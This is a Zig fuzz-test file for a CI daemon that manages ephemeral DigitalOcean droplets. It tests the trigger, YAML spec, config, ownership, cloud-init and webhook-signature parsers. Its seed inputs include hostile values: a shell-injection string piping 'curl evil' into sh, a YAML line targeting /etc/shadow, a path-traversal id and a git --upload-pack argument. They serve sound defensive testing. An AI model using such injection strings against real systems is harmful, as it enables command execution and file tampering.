Something went wrong. Try again.
Ephemeral DigitalOcean droplets for Forgejo Actions and Radicle CI, from one daemon
Something went wrong. Try again.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350// SPDX-FileCopyrightText: © 2026 Jeffrey C. Ollie <jeff@ocjtech.us>// SPDX-License-Identifier: MIT
//! What the parsers must do with input nobody wrote.//!//! Each target is a property rather than an example -- the unit tests beside//! the code have those. Whatever arrives, the parser terminates, stays inside//! its buffers, frees what it allocates, and if it claims to have understood//! the input, what it hands back is something the rest of the daemon can//! trust without checking again://!//! * a trigger request from the broker gives a repository id that is safe to//! put in a path and a commit that is safe to hand to git;//! * a `.radicle/droplet.yaml` gives a tier that exists, a script with//! something in it, and an image with nothing in it a shell could act on;//! * the ownership gate never calls a droplet ours unless its name is exactly//! the one this daemon would have given it;//! * the cloud-init renderer either refuses a value or renders exactly as//! many lines as it does for a harmless one, so nothing that reaches it//! can add a line to the script a droplet runs as root.//!//! * a webhook's signature is accepted exactly when it is the HMAC of the//! body under the forge's secret, whatever else arrives.//!//! The daemon's configuration is fuzzed too, not because it is hostile but//! because a parser that panics on a bad file is a daemon that will not start//! and cannot say why.//!//! Each target is an ordinary test as well as a fuzz target: without `--fuzz`//! it runs the seeds beside it. `tools/fuzz.zig` drives the same targets with a//! loop of its own, because Zig 0.16.0's fuzzer has no coverage to work with.
const builtin = @import("builtin");const std = @import("std");const Allocator = std.mem.Allocator;const testing = std.testing;const Smith = std.testing.Smith;
const ci = @import("ci_autoscaler");
/// The allocator the targets run against: the testing allocator under/// `zig build test`, which reports a leak as a failure, and a checked/// allocator of `tools/fuzz.zig`'s own when it drives them.pub var backing: Allocator = if (builtin.is_test) testing.allocator else undefined;
// -- trigger requests ------------------------------------------------------
const trigger_seeds = [_][]const u8{ \\{"request":"trigger","version":1,"event_type":"push","repository":{"id":"rad:z3uBEubocQ9kJANPvMAo6z5ZhhaFh","name":"pathdedup","default_branch":"main","delegates":[]},"branch":"main","commits":["470a437150187c2e85395fc7f55a9b3f836123fc"]} , \\{"request":"trigger","version":1,"event_type":"patch","repository":{"id":"rad:z2eDxErDjXEAiYHf7SJYNDnT9Ytaa"},"action":"Created","patch":{"id":"f8a1c2d3e4b5a69788796a5b4c3d2e1f0a9b8c7d","commits":["3f1c9e9453c8de2916e09194c45cf8ae25bf34e5"]}} , \\{"request":"trigger","version":1,"event_type":"push","repository":{"id":"rad:z3uB/../../etc"},"branch":"main","commits":["--upload-pack=x"]} , "", "{}", "null",};
fn triggerProperty(input: []const u8) !void { var arena: std.heap.ArenaAllocator = .init(backing); defer arena.deinit(); const trigger = ci.broker.parseTrigger(arena.allocator(), input) catch return; try testing.expect(ci.broker.validRid(trigger.rid)); try testing.expect(ci.broker.validOid(trigger.commit)); // what the adapter builds from them try testing.expect(std.mem.findScalar(u8, trigger.rid, '/') == null); try testing.expect(trigger.commit[0] != '-');}
test "fuzz triggers" { for (trigger_seeds) |seed| try triggerProperty(seed); try testing.fuzz({}, fuzzTrigger, .{});}
fn fuzzTrigger(_: void, smith: *Smith) !void { var buffer: [2048]u8 = undefined; const len = smith.slice(&buffer); try triggerProperty(buffer[0..len]);}
// -- droplet.yaml ----------------------------------------------------------
const spec_seeds = [_][]const u8{ "tier: l\nshell: |\n nix develop -c zig build test --summary all\n nix build\n", "tier: s\nimage: git.jcollie.dev/jeff/nixos-runner:50-1-0dbdc124\nshell: make check\n", "tier: m\nshell: >-\n one\n two\n", "tier: s\nshell: |+\n keep\n\n\n", "tier: xl\nshell: make\n", "teir: s\nshell: make\n", "tier: s\nimage: \"a b\"\nshell: make\n", "- tier: s\n", "",};
const tiers: []const []const u8 = &.{ "s", "m", "l" };
fn specProperty(input: []const u8) !void { var arena: std.heap.ArenaAllocator = .init(backing); defer arena.deinit(); var diagnostic: []const u8 = ""; const spec = ci.DropletSpec.parse(arena.allocator(), input, tiers, &diagnostic) catch |err| switch (err) { error.OutOfMemory => return err, // A refusal has to say why, since the reason is what the run's page // shows. error.InvalidSpec => return testing.expect(diagnostic.len > 0), }; var tier_found = false; for (tiers) |t| tier_found = tier_found or std.mem.eql(u8, t, spec.tier); try testing.expect(tier_found); try testing.expect(std.mem.trim(u8, spec.shell, " \t\r\n").len > 0); if (spec.image) |image| for (image) |c| { try testing.expect(c > ' ' and c != 0x7f and c != '\'' and c != '"' and c != '\\'); };}
test "fuzz droplet specs" { for (spec_seeds) |seed| try specProperty(seed); try testing.fuzz({}, fuzzSpec, .{});}
fn fuzzSpec(_: void, smith: *Smith) !void { var buffer: [1024]u8 = undefined; const len = smith.slice(&buffer); try specProperty(buffer[0..len]);}
// -- the daemon's configuration --------------------------------------------
const config_seeds = [_][]const u8{ \\{"region":"nyc3","base_image":"ubuntu-26-04-x64","snapshot_prefix":"forgejo-runner", \\"runner_image":"image","runner_binary_url":"https://example.com/r", \\"runner_binary_sha256":"29dae21e93f0eab5cdf3564008d44603c74770b41a4f4f1aceed172c774bc376", \\"tiers":[{"name":"s","size":"s-2vcpu-4gb","max":5}], \\"forges":[{"name":"ocjtech","url":"https://git.jcollie.dev","credential":"forge-ocjtech"}], \\"public_url":"https://ci.example.org","agent":"/bin/ci-agent","metrics_listen":"127.0.0.1:9356", \\"radicle":{"report_dir":"/var/lib/radicle-ci/reports"}} , "{}", "",};
fn configProperty(input: []const u8) !void { var arena: std.heap.ArenaAllocator = .init(backing); defer arena.deinit(); var diagnostic: []const u8 = ""; const config = ci.Config.parse(arena.allocator(), input, &diagnostic) catch |err| switch (err) { error.OutOfMemory => return err, error.InvalidConfig => return testing.expect(diagnostic.len > 0), }; // What `check` promises the scheduler. try testing.expect(config.tiers.len > 0); for (config.tiers) |t| try testing.expect(ci.tags.validName(t.name)); for (config.forges) |f| try testing.expect(ci.tags.validName(f.name) and !std.mem.eql(u8, f.name, "radicle") and !std.mem.eql(u8, f.name, "pool")); for (config.tiers) |t| try testing.expect(t.warm <= t.max); try testing.expect(config.max_lifetime_seconds > config.grace_seconds);}
test "fuzz configuration" { for (config_seeds) |seed| try configProperty(seed); try testing.fuzz({}, fuzzConfig, .{});}
fn fuzzConfig(_: void, smith: *Smith) !void { var buffer: [2048]u8 = undefined; const len = smith.slice(&buffer); try configProperty(buffer[0..len]);}
// -- the ownership gate ----------------------------------------------------
/// A droplet's name, then its tags, one per line.const owner_seeds = [_][]const u8{ "fj-runner-2848\nci-ephemeral\nci-ocjtech-s\nfjjob-0123456789abcdef\nfjrunner-2848", "rad-run-7\nci-ephemeral\nci-radicle-l\nradrun-7", "fj-runner-01\nci-ephemeral\nci-ocjtech-s\nfjrunner-1", "cloud04\nci-ephemeral", "fj-runner-5\nforgejo-ephemeral-codeberg-m\nfjrunner-5", "ci-droplet-42\nci-ephemeral\nci-codeberg-m\ncidroplet-42", "ci-droplet-42\nci-ephemeral\nci-codeberg-m\ncidroplet-042",};
const known: ci.tags.Known = .{ .sources = &.{ "ocjtech", "codeberg", "radicle" }, .tiers = &.{ "s", "m", "l" }, .legacy = true,};
fn ownerProperty(input: []const u8) !void { var lines = std.mem.splitScalar(u8, input, '\n'); const name = lines.next() orelse return; var tag_buf: [32][]const u8 = undefined; var count: usize = 0; while (lines.next()) |tag| { if (count == tag_buf.len) return; tag_buf[count] = tag; count += 1; } const owner = ci.tags.owner(known, name, tag_buf[0..count]) orelse return;
// Ours only if the name is exactly what creation would have written. var buf: [32]u8 = undefined; const expected = switch (owner.work) { .droplet => |id| try ci.tags.dropletName(&buf, id), .forgejo_runner => |id| try ci.tags.forgejoName(&buf, id), .radicle_run => |id| try ci.tags.radicleName(&buf, id), }; try testing.expectEqualStrings(expected, name); var source_known = false; for (known.sources) |s| source_known = source_known or std.mem.eql(u8, s, owner.source); var tier_known = false; for (known.tiers) |t| tier_known = tier_known or std.mem.eql(u8, t, owner.tier); try testing.expect(source_known and tier_known);}
test "fuzz droplet ownership" { for (owner_seeds) |seed| try ownerProperty(seed); try testing.fuzz({}, fuzzOwner, .{});}
fn fuzzOwner(_: void, smith: *Smith) !void { var buffer: [512]u8 = undefined; const len = smith.slice(&buffer); try ownerProperty(buffer[0..len]);}
// -- cloud-init ------------------------------------------------------------
const init_seeds = [_][]const u8{ "a1b2c3d4-e5f6-7890-abcd-ef0123456789", "x' ; curl evil | sh ; '", "abc\n - path: /etc/shadow", "\\", "",};
/// The number of lines in the user data when every value is harmless.fn lineCount(text: []const u8) usize { return std.mem.count(u8, text, "\n");}
fn render(allocator: Allocator, token: []const u8, public_url: []const u8) ![]u8 { var out: std.Io.Writer.Allocating = .init(allocator); errdefer out.deinit(); try ci.cloud_init.droplet(&out.writer, .{ .public_url = public_url, .token = token, .agent_sha256 = "0" ** 64, .runner_binary_url = "https://example.com/forgejo-runner", .runner_binary_sha256 = "29dae21e93f0eab5cdf3564008d44603c74770b41a4f4f1aceed172c774bc376", .prepared = true, }); return out.toOwnedSlice();}
fn cloudInitProperty(token: []const u8, public_url: []const u8) !void { const baseline = try render(backing, "token", "https://ci.example.org"); defer backing.free(baseline); const got = render(backing, token, public_url) catch |err| switch (err) { error.UnsafeValue => return, else => return err, }; defer backing.free(got); try testing.expectEqual(lineCount(baseline), lineCount(got));}
test "fuzz cloud-init" { for (init_seeds) |seed| { try cloudInitProperty(seed, "https://ci.example.org"); try cloudInitProperty("token", seed); } try testing.fuzz({}, fuzzCloudInit, .{});}
fn fuzzCloudInit(_: void, smith: *Smith) !void { var token: [256]u8 = undefined; const token_len = smith.slice(&token); var url: [256]u8 = undefined; const url_len = smith.slice(&url); try cloudInitProperty(token[0..token_len], url[0..url_len]);}
// -- webhook signatures ----------------------------------------------------
/// A secret, a body and a claimed signature, separated by newlines.const webhook_seeds = [_][]const u8{ "hush\n{\"ref\":\"refs/heads/main\"}\n0000000000000000000000000000000000000000000000000000000000000000", "Jefe\nwhat do ya want for nothing?\n5bdcc146bf60754e6a042426089575c75a003f089d2739839dec58b964ec3843", "\n\n", "x",};
fn webhookProperty(input: []const u8) !void { var parts = std.mem.splitScalar(u8, input, '\n'); const secret = parts.next() orelse return; const body = parts.next() orelse return; const claimed = parts.rest();
// Whatever is claimed, the check terminates, and accepts only the // signature itself. const Hmac = std.crypto.auth.hmac.sha2.HmacSha256; var mac: [Hmac.mac_length]u8 = undefined; Hmac.create(&mac, body, secret); const real = std.fmt.bytesToHex(mac, .lower); try testing.expectEqual(std.mem.eql(u8, claimed, &real), ci.Service.validSignature(secret, body, claimed)); try testing.expect(ci.Service.validSignature(secret, body, &real));}
test "fuzz webhook signatures" { for (webhook_seeds) |seed| try webhookProperty(seed); try testing.fuzz({}, fuzzWebhook, .{});}
fn fuzzWebhook(_: void, smith: *Smith) !void { var buffer: [512]u8 = undefined; const len = smith.slice(&buffer); try webhookProperty(buffer[0..len]);}
// -- the table tools/fuzz.zig drives -----------------------------------------
pub const Target = struct { name: []const u8, run: *const fn (input: []const u8) anyerror!void, /// Inputs worth mutating: the same seeds the tests above run. corpus: []const []const u8, /// The buffer this target reads its input into. `Smith.slice` yields an /// empty slice for a length larger than the buffer, so the generator has /// to know this or it hands the target nothing. content_max: usize,};
fn Driven(comptime one: fn (void, *Smith) anyerror!void) type { return struct { fn run(input: []const u8) anyerror!void { var smith: Smith = .{ .in = input }; return one({}, &smith); } };}
pub const all = [_]Target{ .{ .name = "triggers", .run = Driven(fuzzTrigger).run, .corpus = &trigger_seeds, .content_max = 2048 }, .{ .name = "specs", .run = Driven(fuzzSpec).run, .corpus = &spec_seeds, .content_max = 1024 }, .{ .name = "config", .run = Driven(fuzzConfig).run, .corpus = &config_seeds, .content_max = 2048 }, .{ .name = "ownership", .run = Driven(fuzzOwner).run, .corpus = &owner_seeds, .content_max = 512 }, .{ .name = "cloud-init", .run = Driven(fuzzCloudInit).run, .corpus = &init_seeds, .content_max = 256 }, .{ .name = "webhook", .run = Driven(fuzzWebhook).run, .corpus = &webhook_seeds, .content_max = 512 },};